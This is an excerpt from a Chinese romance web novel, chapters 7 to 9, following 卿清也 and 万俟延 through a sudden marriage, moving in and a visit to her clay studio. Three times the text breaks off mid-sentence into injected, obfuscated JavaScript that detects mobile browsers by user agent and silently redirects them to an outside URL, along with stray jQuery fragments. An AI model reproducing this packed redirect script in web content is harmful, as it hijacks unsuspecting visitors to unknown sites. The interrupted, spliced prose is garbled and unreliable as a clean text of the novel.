《我只等你一分钟》 7. 第 7 章 万俟延也没有否认:“对,这是往我家的方向。” 卿清也瞬间皱起了眉头:“什么意思?” “意思就是以后搬来我家住。”万俟延平静开口,颇有一种语不惊人死不休的态度。 他明显感觉到副驾驶座上的人动了动,应该是在看他,确切地说是在瞪他,并且瞪了他不止一眼。 “搬到你家?”卿清也好像不太情愿,“谁同意搬去你家了啊?更何况,我东西都还没收拾呢,什么准备都没做,需要这么着急吗?” 她感到不可思议,六年没联系,联系最频繁的还是昨天那几条短信。 内容看起来也像是两个陌生人之间的对话。 一朝领证,直接同居,这进度未免也太快了一些。 “要不......我们再缓缓的?缓几个月怎样?”卿清也想要再挣扎一下。 万俟延看她一眼,见她这种完全没把结婚放在心上的态度,眼神顿时冷了下来,淬冰一般。 他沉了沉声,直接忽略她说的话,尽可能语气平静地同她说:“有件事我刚刚忘了跟你说,我的婚姻是不会存在离婚这道选项的,也没有通过分居离婚的这套说法,希望你能够明白。” 话落,立刻迎来一整个车厢的静默。 万俟延又看她一眼:“怎么了?” 卿清也的眉头蹙得愈发厉害了:“不是,万俟延,哪有人领证第一天就提离婚的?还叫我搞明白,你有礼貌吗?” 万俟延:“......” “意思你听懂就好了。” “我听不懂。”卿清也瞬间不想理他,并且直接瘫在了椅子上,没什么精气神地望向窗外。 这天阳光明媚,光透过车窗落在她身上,照得人暖洋洋的。 窗微敞着,风吹得她头发乱飞。 在车上的时间本来就比较枯燥,再加上万俟延又不怎么愿意说话,一说就说一些不好听的话,卿清也当即心生郁闷。 躺了会儿,包里的手机铃声忽然响起,她本是不耐烦的,掏出来,扫了眼屏幕,立马稳住声线,冲那头说:“妈,怎么啦?” 徐蕙兰是真当敏锐,即便不在眼前,也从听筒里听出了卿清也声音的不对劲:“你旁边有人?” 卿清也当然没有朝旁边看,只是听她提起,难免感到一阵心虚,声音也跟着弱了几分:“嗯。” “谁啊?是你陈姨介绍的那人吗?”徐蕙兰紧接着追问。 “不是,我没有去见他。” “怎么?又出尔反尔地看不上啦?” “没有,我就是觉得应该慎重一点,没有说刚加完好友就约见面的道理。” “行吧。”徐蕙兰暂时接受她的这番说辞,“我就怕你主意正,老是答应了,又放人鸽子,我可不好意思再去跟人解释。陈姨的眼光不会错的,她既然能给你介绍,这人就绝对不赖。家世、相貌、学历,一定都拿得出手。相貌我是见过了,我想其他条件也不会差。” 卿清也听对方念叨了一通,全是在夸那人的,她觉得自己更加心虚了。要在平时还行,这会儿刚跟她缔结法定婚约的丈夫还在旁边坐着呢,这是能说的话吗? 卿清也赶忙冲那头说:“哎呀,这些都是虚的啦,我们要注重内在,内在美才是最重要的。” “天,你还能关注人家的内在?天大的笑话。”徐蕙兰忍不住笑了声,继续道,“不过我昨天认真想了想,也觉得应当慎重一些。就算相亲看对了眼,你也得好好处一处,认真观察观察对方。短则一年,长则三五年的。结婚这事还是不能太过草率,需要深思熟虑。以我过来人的经验来看,婚姻真的不可儿戏,不能为了结婚而结婚。” 卿清也靠在窗户边上,抬头看了万俟延一眼,脸不红心不跳地对徐女士说:“那当然,结婚可是件大事,怎么能够冲动呢?” “知道就好,其他我也没什么事了,打电话来就是想告诉你一声:要擦亮眼睛,保持冷静,千万不要意气用事。” “......”卿清也哭笑不得,“我知道啦,挂了。” “哦,还有一件事,你爸觉得你现在的房子离我们太远,决定把他在臻园附近的几套房划到你名下。我觉得挺好,看你之后还有什么理由不回家。” “......行,谢谢你们。” 挂断电话后,卿清也将眼睛闭上,缓了缓,又睁开。 她朝旁边看了一眼,平复心绪,心平气和地同对方说:“要不我们商量一下吧?结婚这事就先别告诉双方父母了吧,我怕他们一时半会儿没办法接受。” 万俟延没说好,也没说不好,脸上也没什么表情,只问她:“谈判的筹码是?” 卿清也顿感不满:“谁在跟你谈判了?我们好商好量的。” 万俟延没理她,自顾自地开着车,全然当听了一句笑话。 卿清也觉得他的态度十分没礼貌,但琢磨了一下,又觉得自己说的话也挺没心没肺的。思考了半天自己有什么筹码后,谨慎着问道:“我搬去你家住,你不告诉我爸妈,这样可以吗?” “可以,不过有个条件。” “什么条件?” 卿清也将目光落在他身上,她决定好好听听,因为她总觉得万俟延接下来说的话是她不爱听的。即使他说话的语气无波无澜,表情也是平静至极,但是透过这些表象看内里,还是能够感受到一股来自于他的压迫感,那种做好决定不带商量的态度。 果然—— 片刻,万俟延就说:“我只给你一个月的时间,我们的婚姻不是在玩过家家,不可能一直不告诉他们。” “好的,一个月就一个月。” 卿清也配合地点头,感谢他明明不高兴,还能仁慈地宽厚她一个月的时间。剩下的,她想,等到时候再说吧。 车子缓缓停下,卿清也随万俟延下车。 其实从车子拐进御水湾的汽车专属电梯,卿清也就差不多猜到万俟延家有多豪华了。只是亲眼看到,她还是有些震惊。 很开阔的复式江景大平层,每个空间都做到动静分离,落地窗环绕四周。上层是卧室、家庭影院和衣帽间,下层是书房、茶室和开放式厨房。阳台与客厅相通,从阳台往下看,整个燕城美景一览无遗。 只是这装修吧,看起来不像是给人住的。整个空间装饰极少,几乎看不到任何挂画或艺术品,家具也是能简则简。就连灯光的设计,都走尽了冷淡风。 卿清也实在难以想象自己今后将要住在这样冷冰冰的房子里。 万俟延自然瞧出了她的不满意,问她:“有什么意见?” 当然有意见,有很大的意见! 卿清也在脑中抗议,说出口的话却没有那么直白不给人面子:“我认为,我不太适应这种充满精英气质的装修风格。” “你想装成什么样?”万俟延认为她在为回自己家住找借口,趁她没说出口前,赶紧打断她,“你觉得不满,可以按你悦璟那边的来,或者直接把你家的装饰品搬到这边来。” 听他这么说,卿清也慌忙摆摆手:“这都好说,但我可是艺术家,我家有工作间,有工具,你这可啥都没有。” 万俟延指了指书房:“我的书房很大,可以分出一半空间给你,一比一地复刻你的工作间。” 卿清也瞬间无话可说:“......行吧。” 最终,如万俟延所愿,卿清也不再挣扎。 跟随他走进厨房,随意地倚在长达4米的中央岛台上,听万俟延非常有礼貌地问她:“想喝点什么?” 卿清也自然不会说随便,她觉得说随便的人都是不把一件事儿当回事儿,态度敷衍,但她也是真的不想喝水,便问道:“有酒吗?” 万俟延低眸扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大惊失色,难以置信,卿清也慌忙起身,脚步飞快地来到餐厅,睁圆着眼睛看对面的人:“饭做好了,为什么不喊我啊?” 话落,如石子落入枯井,没有任何回音。 又过去几秒,万俟延才停下敲击键盘的手指,抬起头来。 他竟然把笔记本电脑给搬到了餐厅!至于吗? 卿清也表示不理解。 万俟延下巴抬了抬,朝向他正对面的位置,点了点,示意她坐下。 吃饭时间还玩游戏,是什么网瘾少年吗? 卿清也有几分无语地走过去坐下,抓起筷子,开始夹菜。 说实话,万俟延的厨艺还算不错,因此,贯来吃饭比较挑剔的卿清也,这会儿也吃得十分认真。 只是两人中间摆着三道热腾腾的菜,卿清也这边在不断减少,万俟延那边却是纹丝不动。 卿清也忍不住看他,只见他一手抓筷子,一手划拨着电脑屏幕,全神贯注,满目严肃。他似乎在确认什么东西,冷冷地皱着眉,看起来凶巴巴的。 时不时地会有几段音乐从电脑里飘出来。 这音乐听来有几分耳熟,似乎不久前刚听过。卿清也想了想,一下子就想到了,跟郁芣苢玩的那款游戏的背景音极度相似! 卿清也忍不住停下筷子。 整个餐厅异常安静,他们仍旧没有说话,在一种略显沉闷的氛围里,万俟延那边却吵吵闹闹的,卿清也觉得异常烦躁。 音乐每响起一声,她都觉得有什么东西在她脑子里炸一下,令人浑身不适。 就跟小时候玩打斗游戏一样,除了背景音让人郁闷外,什么感觉都没给她留下。 说实在的,她对这些游戏是真的没有一丝兴趣,一点儿都不爱玩。 不过最初不玩,是因为被少年万俟延摁在地上打,觉得很没面子;后来不玩,则是因为每每接触这些,都会让她想起某个不可提及的名字。 如今这人却明晃晃地在她面前打游戏。 把她叫过来,就是为了看自己打游戏吗? 卿清也心里不乐意了,当即出声制止:“吃饭就别打游戏了吧?” 8. 第 8 章 万俟延的手指停住,欢快的音乐声骤停。 或许是怔愣,也或许是惊讶,他抬眸扫她,想看看她究竟怎么了。见对方一脸不忿,双目圆睁地看着自己,随即解释了句:“没有在玩游戏。” 卿清也怎么会听不懂他说的话,无非就是:我没有在玩游戏,我只是在看电脑屏幕。你要是不信,可以自己过来确认。 这话实在太过耳熟,她小时候听过无数次。 放在十几年前,不管他有没有撒谎,陈诗芸都会立马走过去,接着毫不犹豫地收起他的游戏机,然后二话不说地将它们锁进保险柜。 管你是不是在玩游戏。 卿清也自然做不出将他电脑锁起来这么不理智的事情,但她仍旧十分不满,只得再次发表意见:“不要玩了吧。” 她朝他看过去,看到万俟延也在看向自己。 餐厅的灯光明亮,似乎可以照到角角落落里的每个细节。 而万俟延没有说话,只是一言不发地看着她,有审视,也有不解。 最后,他无奈地叹了一声,耐着心同她解释:“真的没有在玩。刚刚助理给我发了音效师为游戏做的几首背景乐,我在测试需要修改的地方。” 他最近其实一直在忙,基本没有空闲时候。知晓卿清也的事后,他又推了许多行程,一直没去公司,积攒下一堆活。 助理陆川不好意思催他,能解决的事都尽可能自己解决,但音效师急需确认下一阶段的配乐,他不敢擅自做主,只能代为转发。 游戏音效的种类繁多,每种场景切换、每个辅助工具使用时刻的音效千差万别。万俟延又是精益求精、要求苛刻的类型,无论是哪一种,都得按照最高的质量来。 他不再解释,把屏幕转过来正对着卿清也,又点开几个音频。 卿清也随意地听了几个,才意识到他并未撒谎,瞥他一眼,满不在乎地问:“真的是游戏?” 万俟延点头。 “行吧。”卿清也随口道,“那也不需要占用吃饭的时间吧?有这么急?” 于是万俟延只能将电脑先放在一边,开始吃饭。 他照例实行“食不言,寝不语”的原则,因为以前陈诗芸不让他在吃饭时说话,每次卿清也跟他坐在一块儿吃饭时都会觉得异常尴尬。 那时候餐厅只有他们二人,保姆阿姨做完饭就去忙别的了。卿清也以为他心情不好,或许是谁又惹他不高兴了,他很容易不高兴,所以她总是独自开朗地寻找各类话题,试图开解他,让他心情好一点儿。 但他总是对自己爱答不理的,就显得她的开解尤为多余。 她以前觉得,万俟延不理她是觉得她的话题无聊。 是到关系熟络以后,听陈诗芸说起这事,她才明白,这是他自小养成的习惯。但事实上,即便没有他母亲的硬性要求,万俟延也算不上是一个多爱说话的人。 他只是单单喜欢打游戏,永远都热爱玩游戏。 不得不说,6年时间真的改变了太多东西。但也不得不承认,即使这么多年过去,万俟延身上还是保留着卿清也熟悉的味道。 不知道该怎么描述,或许是一如既往的冷漠疏离?也或许是始终不变的沉默寡言? 卿清也听着万俟延吃饭时几乎无法捕捉的声音,看着同记忆当中几乎没有变化的脸,皮肤大概是因为天天玩游戏,比一般女生都要白上好几度。但是骨架就明显要比青春期时长开不少,即使穿着宽松的衬衫,也能看见胳膊以及胸部硬挺的肌肉轮廓。 卿清也正认真直白地观察万俟延,实在是太过认真了,等她意识到的时候,便发现正专注用餐的万俟延已经不知道看了她多久。 卿清也慌忙低垂下脑袋。 她开始给自己找事情做,回复客户消息、跟他们商量作品应该保留原色还是彩绘、思考下午要教那帮小学生做些什么,仿佛十分忙碌,偏偏又像掩耳盗铃。整个餐厅的空气里都是万俟延身上的味道,明明他身上的香水味很淡,可不知为何,她总觉得这股木质调尤为浓烈。 香味好像漫到了她的心里。 一直等到万俟延吃完午饭,卿清也才好似总算恢复清醒,拿起自己的包,对他说:“吃完饭了,那我走啦。” 万俟延正在收拾餐桌,一旁的手机铃声又突然响起,他像是没有听见她的声音,头都没抬。 卿清也又说了声:“我还有点儿事,就先走啦。” 仍旧无人回应。 卿清也斜他一眼,万俟延正拿着手机皱着眉通话,看起来像是有很重要的事需要处理,他一直在听对方讲话,始终一言不发。 她感到又可气又可笑,便不再同他说话,转身往门口走。 直到她换好鞋,拉开门准备出去,身后忽然传来动静。多年来熟悉下来的声音像闹铃一样第一时间叫住她,迫使她停下来,回头看。 冷白的光线照射下,万俟延的神情有几分犹豫。 “怎么了吗?”卿清也问他。 万俟延看着他,往这边走了几步,伸出手机:“刚刚助理给我打来电话,我临时需要去国外出个差,大概2-3天。我们加一下微信吧,免得到时候有事我找不到你。” “啊?哦。”他们竟然没有微信吗?卿清也总觉得他们已经很熟,早就将这事给忘了。 她慌忙掏出手机,把二维码递过去,扫完加了好友。 卿清也的微信头像是她的某件作品,一个色彩层次丰富的泥塑小狗,可爱灵动、栩栩如生。 而万俟延的头像则是一个较为模糊的画面,黑乎乎的,画质看起来不怎么清晰,但能看出是个游戏场景。 他还真是爱玩游戏,每天除了玩游戏就是玩游戏。 卿清也很快地给他改好了备注,转过头,一眼瞥见万俟延的手机屏幕上,自己的名字被他打成了“亲亲”二字。 卿清也有短暂的失语,半晌才道:“这时候,就不要嘲笑别人的发音了吧?” 那是卿清也刚来燕城时,第一次同万俟延做自我介绍。 因为她自小在南方长大,受语言环境影响,不怎么在意前后鼻音,所以习惯性地将自己的名字念作前鼻音,于是在万俟延那边就直接变成了“亲亲也”,最后则是“亲亲”,他也一直唤她“亲亲”。 对此,卿清也曾向他控诉过无数次:“你不能总是嘲笑别人的口音,这很不礼貌,非常非常不礼貌。” 而今日,万俟延也如同那时一般,很快地收起手机,同她说:“没有嘲笑。” 但卿清也并不怎么相信。 不过无所谓啦,他爱怎么叫就怎么叫吧,反正自己也给他起了不少绰号。 “楼上最中间的房间是我的,其他......你随意。”万俟延忽然说。 啧啧啧,刚还说不接受分居呢,这会儿又开始了? 卿清也颇为无语,但她不愿过多纠结,扬了扬手,表示自己知道了。 她将手放下,转身欲走,无名指上忽地被套上一个凉凉的金属物件,卿清也呼吸一顿,下意识地低头看过去。 场面一下子安静下来。 静了至少有5秒钟。 这场面实在来得太过突然,简直猝不及防,叫卿清也一时失语,不知该做出什么样的正常反应。 “婚戒。”万俟延率先打破沉默,接着又好像怕她多想似的,补了一句,“随便买的。” 卿清也怔怔地抬起手来,盯着无名指上的戒指。尚美巴黎定制款,工期至少3个月,而且大小正好合适,压根就不是什么随便买的款式。 可万俟延是怎么知道她的指围的? 她想不明白。 因为想不明白,她决定暂时先接受万俟延的这番说辞。 万俟延:“你去哪儿?我找人送你。” 卿清也:“不用了,我叫了车。” 离开万俟延家的时候,卿清也还觉得迷迷瞪瞪的,仿若做梦,今天发生的所有事都让她有一种不真实感。 然而手上的戒指又在提醒她这一切都是真实存在的。 她从电梯里出来,走到马路边,缓了半天,才意识到自己是真的结婚了,还是跟6年未曾见面的万俟延。 而万俟延还不计前嫌地邀请她住进他的房子。 卿清也叫的车很快就到了,她抱着混沌的脑子上车,从后视镜往外看,看到万俟延所在的建筑物逐渐变成一个黑点,赶紧掏出手机给郁芣苢发去一条消息。 郁芣苢看到“我结婚了”这几个字时顿觉脑子一抽,合着她昨天说的话,卿清也是一句都没往脑子里过啊?需要这么冲动吗?结婚这么大的事她是完全不加思考的吗? 郁芣苢实在忍不住要说她。 卿清也盯着对话框,看到屏幕上很快显示出“对方正在输入中...”,接着又停下,然后再次显示“对方正在输入中...”。 反反复复几次后,郁芣苢终于忍不住,直接给她打来了语音电话。 卿清也当然没打算接通,不用猜都知道是打来骂她的,她非常果断地按了挂断键。 没过几秒,郁芣苢再次打来,还是视频电话。 卿清也犹豫了一下下,最后还是无奈地按下接听键。 郁芣苢开门见山地问:“真结婚了?” “当然!”卿清也毫不犹豫地承认,“一早领的证,除去我磨掉的那会儿功夫,真可谓一气呵成。” 屏幕里的人瞬间转为静音,瞪着眼睛,卿清也能够明显感觉到她不爽的情绪,那意思分明在说:你TM是不是疯了?! 卿清也被她一脸严肃又愤怒的表情看得有点儿想笑,正了正色道:“干嘛这副表情?姐妹结婚你不该献上最诚挚的祝福吗?” 视频那端的人深吸一口气:“你但凡过个个把月结婚,我都会将祝福送到,可你现在在干嘛?你们在玩吗?万俟延也陪你玩儿呢?” ......这是在说什么?谁玩儿了啊?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359191|152865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郁芣苢有点无奈地看着她:“说,万俟延究竟给了你什么好处,才让你愿意跟他结婚?” “没什么好处。” “那你给了他什么好处?” “我没什么能给的。” “......”郁芣苢了然地点点头,“行,那我清楚了。你俩都在玩,你俩可真是把婚姻当作儿戏啊。” “不是,我们都是认真的。”不作他想,卿清也一脸笃定地说。 “我信你个鬼。”隔着屏幕,郁芣苢都忍不住翻了她一个白眼。 卿清也对郁芣苢笑笑:“哎呀,你不懂我俩,我俩真的情真意切,情比金坚。” “呵呵。”郁芣苢懒得听她胡扯,反正事已至此,她说再多也没用,“那改天带出来让我见识见识。” “行。” * 万俟延看着卿清也果断离去的背影。 他对她实在太过熟悉,从来都不是个能任人摆布的人,也绝对做不到别人说什么就是什么。 但她一直没有逆着他办事,不管是那天晚上他提出要结婚,第二天就过去领证,还是刚刚让她加好友、戴戒指,卿清也都表现得平平静静的。 不反抗、不抵触,也不开心。 表面上十足配合,内里却不知在唱着什么反调。 万俟延也不知自己是不是该放心。 但他临时需要去参加一个全球游戏开发者大会(GDC),或许也称不上临时,活动是早就定好了的,只是他这两天忙,完全给忘了。 GDC每年都会邀请来自世界各地的游戏公司和独立开发者,给大家提供各自的展位,展示最新的游戏技术与科技理念。 此次大会的主题繁多,涵盖VR、AR、音频、视觉、跨端游戏研发等内容,国内外知名的游戏公司都受邀来到现场,场内巨大的LED屏幕上不断地滚动播放着各类游戏的宣传影像。 本次大会,万俟延受邀作为嘉宾发言。他站在台上,同业内著名的游戏开发者、海内外媒体记者,分享自己和团队在游戏开发与运营方面的经验。 他分享了3D技术应用于传统游戏,以及改变游戏社交系统与模式的经验,也同许多国别的游戏制作人探讨了科技与传统工艺相结合的可行性,还有商业发展模式。 会议结束后,万俟延几乎毫不停留地走出会场,似乎很赶时间。 他让陆川帮忙订最近的一趟航班回国。 陆川却并未立即执行,反倒劝他:“万俟总,我认为您应该在这儿休息一晚。” 接连几天他不是在飞机上,就是在酒店度过的,参加活动时也没有空闲时候。陆川担心万俟延身体吃不消,好言相劝让他再缓一缓的,但万俟延没有听,只是一直盯着自己的手机。 陆川早就发现了。 最近几天,即使异常忙碌,万俟延也会抽空关注自己的手机动态,似乎在等谁的消息,但又好似什么都没等到。 看出他的着急,也或许是习以为常,陆川以闪电速度订好航班,万俟延便立刻飞回了燕城。 兴许是近日作息颠倒,也或许是时差原因,他的生物钟已经变得十分混乱。 回来的第二天早上,万俟延很早就从床上醒来。 醒了便再也睡不着,他看了眼手机,从床上下来,前往洗手间洗漱。 洗漱完下意识地放轻脚步往楼下走,在客厅、餐厅转悠了一圈,又跑楼上每个房间看了一遍,万俟延慢慢觉出不对劲。 家里好像没有人。 回来时是深夜,家里十足安静,所以他并未多想。 但此刻,这个家的样子,还和他离开时一模一样,这就显得有些奇怪。 卿清也就算再爱干净、再不搞破坏,一个人生活过的痕迹也不该是无波无痕的吧? 她显然是压根就没在这住。 万俟延在客厅的沙发上坐了一会儿,看了眼手机上的时间,7:30。 陆川给他打来了电话,问他是否完成测试,音效师需要确认节点。建模师也在询问《以你之名》3D版的角色形象是否由2D的直接建模,植入游戏。还有投资方下午要来查看项目进度。 陆川无法做主,只能在大清早的给他打来电话,冒着扰他清梦的风险。 索性万俟延早就醒了。 只不过他现在根本无心在意这些,即使接通电话,手指也下意识地点开了同卿清也的对话框。 可以说是干干净净。 距离他们加好友已经过去三四天,她一条消息都没给自己发。 万俟延的脸色一下子变得冰冷,同陆川说:“我下午回公司解决。” 挂断电话,他当即给卿清也打了一通电话过去。 没有人接。 他又打了一个。 仍旧毫无动静。 万俟延重新点开同卿清也的聊天界面,忍了忍,最后还是没忍住给对方发了条消息:【夜不归宿?】 9. 第 9 章 卿清也当然没有夜不归宿,她只是暂时的把家搬到了工作室。 没办法,自由职业由不得她太过任性。 虽然没有金钱方面的压力,但是过多的订单,还有每周一节劳技课、教小学生传承非遗文化的工作也着实耗费精力,她实在是分身乏术。加之卿清也本身就不是一个事业心强的人,习惯得过且过,对自己要求也不高,没人看着她就容易摆烂。 最后,在莫莫的威逼利诱下,她才不得不住进了自己的工作室。 其实最初她还是想过要给万俟延发消息的,至少也得告知他一声自己的状况,但也只是短暂地思考了那么一下下。 下一秒,她就想,凭什么我给他发?他怎么不给我发?不问问我的状况呢?是不关心我吗? 这么想着,二人的聊天记录就非常愉快地停在了四天前。 四分恐慌,三分烦躁,还有三分理解。 她想,或许万俟延是真的很忙,还是不要打扰他了吧。 就真的没再联系。 直到早上醒来,拿过一旁的手机,她想看一眼时间,要是还早,就再睡一会儿。忽然发现屏幕上跳出许多条未接来电,还有微信消息,不止一条。 卿清也躺在工作室休息间的床上,缓了半天,才慢慢划开屏幕,戳开微信对话框细看。 用户“A没钱”的头像旁边显示了一个未读的“2”,卿清也点开看,第一条消息来自8点整—— A没钱:【夜不归宿?】 这条尚且还读不出他那瞬间的情绪。 可间隔半小时后的下一条,万俟延又给他发来一则消息,是一个简单的“?”。 卿清也本来不想在意的,手指在对话框上停了停,立马摁了锁屏键。但万俟延的那个问号实在太过邪乎,让她无论做什么、无论睁眼闭眼都会想到,实在没法不在意。 怕他生气,又怕他担心,更怕他找不到自己紧张地去报警。 她觉得以万俟延的紧张程度,应该不至于做出这么不理智的事情,更何况不超过24小时,警方也不会受理。但认真琢磨了一番,又觉得依照他的性格,不在第一时间得到卿清也的回复,做出这种事来也不是没有可能。 他该不会真的去报警了吧? 不至于这么夸张吧? 实在不能多想,一旦想多,就感觉看不到明天。 卿清也赶忙从通讯录里找到联系人“A没钱”,做好被冷嘲热讽的准备后,才摁下绿色按钮。 铃声响了两秒,很快被对方接通,只不过像是在等她先开口般,万俟延一言不发。 卿清也见他这样,也故意不说话,好似这个电话压根不是自己主动打过去的,就只是静静地听着他那端的呼吸声。 “没把结婚这事放在心上,所以可以夜不归宿,是吧?”万俟延终于出声,声音里夹杂着几分审问的意味。 其实卿清也也不是不能好好说话,这通电话打过去本来也是想要好好解释一番的,她最近实在太忙,好几个客户的订单都挤到了一块儿,时间紧,要求多,她又不习惯敷衍。两头跑实在太累,她就没回他那边。而且万俟延也不在家,回不回他家的又有什么关系。 但万俟延这么说,卿清也又觉得他在找事,连解释都懒得解释了,语调慵懒地回:“没有夜不归宿,我在自个儿工作室睡的。” 不知是不是她的错觉,她总觉得在她说完这句话后,电话那端的人的呼吸声明显加重了一些。 “行,在工作室睡当然没问题。”万俟延再次开口,语气轻飘飘,冷飕飕的。 “我也觉得。”卿清也接得也很快。 “打电话给你本来也没什么事,只是想确认一下。”听出她随意的态度,万俟延安静了会儿,才慢慢开口,“不过聊着聊着,我忽然觉得有点儿饿了,想去岳母家蹭顿饭吃。” 他怎么可能只是单纯地去吃一顿饭?他要吃饭,上哪儿吃不行? 卿清也当即明白了他的意思,对着听筒严肃道:“你要真这么做,那可就是言而无信、不讲武德了。” 不知道是哪个字触发了他的笑点,万俟延笑了笑,说:“哪有这么夸张,我不过是想吃一顿岳母做的饭罢了,比起你夜不归宿,还是要强一些。你觉得呢?” 卿清也当然听出了他在生气,并且明晃晃的威胁,也不再跟他犟,换了个语气问他:“你想吃什么?我陪你吃。” 那端又笑了声,像是嘲讽。 卿清也不爽了:“到底想吃什么?” “定位发给我。” 收线后卿清也重新倒回床上,然而心情好似被什么困住了,她翻来覆去的,怎么都睡不着了。 只能起床洗漱。 已经是上午九点半,窗外阳光灿烂。 卿清也推开休息间的门出来,大厅一如往常。 工作室的人并不多,除了莫莫和她,就只有财务小倪和销售舒欣两个人。不算卿清也本人,平时其他人工作还挺清闲的,所以可以身兼数职,客串扮演,也可以摆烂。 大厅里的人三三两两,各自负责各自的岗位,打扫的、打电话的,各搞各的。 莫莫坐在前台的位置,正聚精会神地玩着她最近爱上的手机游戏,还不断跟身旁在认真记账的小倪推荐:“最近这游戏超火的,三天两头上热搜,听说还要推出3D版。” “什么游戏啊?”小倪边敲键盘、把账录入电脑,边问。 “《以你之名》,你有听过吗?”莫莫问她。 没等小倪回答,卿清也朝她们走去。 莫莫抬头,惊叹一声:“呀,你这么早就起来啦?”惊叹完,重新将视线移回手机屏幕。 好像只是习惯性地打个招呼,她的本职工作是打游戏。 卿清也顿觉无语:“玩啥呢,这么激动?” “一个类似于角色扮演的互动型乙女游戏。”莫莫回答,给她选的角色换了一套明制汉服,又把发型和妆容改了改,将手机屏幕正对着卿清也,求夸般,“好看吧?” 卿清也:“......” 有时候她觉得莫莫的生活真的太美好了,没有业绩压力,也没有消极情绪,每天还可以在上班时间打把游戏,简直不要太好了。 卿清也又看了两眼她的手机屏幕,想起万俟延和郁芣苢也总是沉迷游戏,便提议道:“要不,你帮我也注册一个账号吧?我也想玩。” 闻言,莫莫当然没有觉得卿清也在阴阳怪气,她只是飞快地皱起眉头,摆摆手,劝卿清也立即打消这个念头:“那怎么行?你也玩游戏,那班谁上啊?大家都不干活啦?工资谁发啊?” 卿清也“呵呵”笑了两声,不再理她,转身回到自己的工作间。 这儿的空间比她家还大,两张工作台大而宽敞,一张放着斧头、锯子、制作骨架、竹木条、弹簧等雕塑工具,另一张则放着各类颜料,有透明的品色,也有不透明的矿物质颜料,还有调制颜料所用的胶水等。 屋内各处摆放着大大小小的泥塑作品,有完工的成品,也有胎体彻底干燥,准备入窑烘烧的半成品,还有一些准备上色的作品。 考虑到一会儿还有别的事要忙,卿清也决定先给没上色的作品上个色。 因为上色对她来说是最简单的环节。 卿清也从18岁开始学泥塑,一直坚持到今天。 泥塑是一门需要天赋,也需要耐心的工作,有时候也需要体力。目前国内从业人员并不多,女性更是少之又少。 不过卿清也喜欢这门艺术,从接触到它开始,她就有一种想要将这门手艺传承下来,并且发扬出去的念头。 一小时后,卿清也用水粉笔将几个泥人的面部涂了两遍色后,又用稀释后的肤色水罩涂了两遍,等待风干。 她摘下围裙,去卫生间清洗画笔。 洗干净后,卿清也推开门,准备去大厅迎接帮忙搬运大型泥塑的师傅。 万俟延走进来,一眼就看到了坐在前台打游戏的莫莫,悠闲自在。他微微一顿,低头看了眼手机上的定位,又抬头看了眼前台后边墙上的logo,确定没问题,才继续往前走。 “你好,我找卿清也,请问她在哪个工作间?” 万俟延身穿一件剪裁得体的深灰色西装,白衬衫整洁挺括,脚踩一双黑皮鞋。他的面目英俊,气质出尘,整个人往那一站,像是一幅摄人心魄的油画。 许是好看的人总是格外引人注目,莫莫当然立马就注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359192|152865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他,眼睛一亮,但是良好的职业素养迫使她在此刻保持着专业的态度:“抱歉,请问您有预约吗?” 万俟延点了点头。 很平淡、很疏离的表情。 莫莫不太敢确定,但又觉得他是潜在客户,只得说:“好,我帮您去找她。” “麻烦你了。” “不麻烦,不麻烦。您随意逛,有事随时找我。” 人走后,万俟延开始环顾四周。 卿清也似乎一直在追求一种随性又热烈的生活,这个地方和她家的装修风格大差不差,只不过要更加宽敞一些,画作、泥塑、各类装饰艺术品应有尽有,色彩浓烈。 万俟延逛了一圈,最后停在某道荣誉墙前,大致略读了一下“留白”工作室的创业背景以及荣誉,墙的右侧附着卿清也创作时的照片。 他驻留原地,认真观看。 卿清也是在指挥完搬运师傅后,看到万俟延的。 他穿着一身灰色,站在一堵墙前,看起来是在认真欣赏她的作品。 卿清也看着他,碰巧遇上他回头。 她必须承认,万俟延是真的好看,那是一种用美术学来形容,特别高级的好看。 卿清也感觉自己的手和心都开始泛痒,她发誓,下次再捏万俟延时,绝对不会再给他捏成歪瓜裂枣了。 然而一想到他刚刚打电话威胁自己,她又难免感到生气。 瞬间想要逗一逗他,于是故意说:“怎么,万俟总,有看上哪个作品吗?要是有喜欢的,我可以给你亲情价加友情价。” 说完,下意识地去观察万俟延的反应。 但他没有任何反应,只是平静地看着自己。 格外平静。 卿清也不喜欢他这种眼神,因为她总感觉自己在他眼里是无形无色、轻飘飘的。跟她满腔的烦躁比起来,万俟延显得冷静冷漠很多。 这令她非常不满。 卿清也转身想走,但被万俟延出声喊住,他像是想起什么,问她:“怎么,这次没有见面礼了吗?” 卿清也知道他在提哪件事,简直要被气笑:“那也不能每次见面都备礼吧?这么搞,我的生意还要不要做了?” “是吗?”万俟延神色平静地看着她,看了大概两三秒,随手指了下柜子里的一个古风侠女。 侠女头发高高束起,五官明媚,眉间难掩英气。她的身姿挺拔,腰间束着深红色丝绸腰带,衣裙褶皱自然流畅。她右手执剑,剑柄朝上,剑鞘纹路清晰。 “就她吧。”万俟延淡淡道。 卿清也笑笑:“我时薪2000+,算你2000好了。那是我花了差不多1个月时间完成的作品,万俟总确定要买吗?” 2000×24×30=1440000 她还真是狮子大开口。 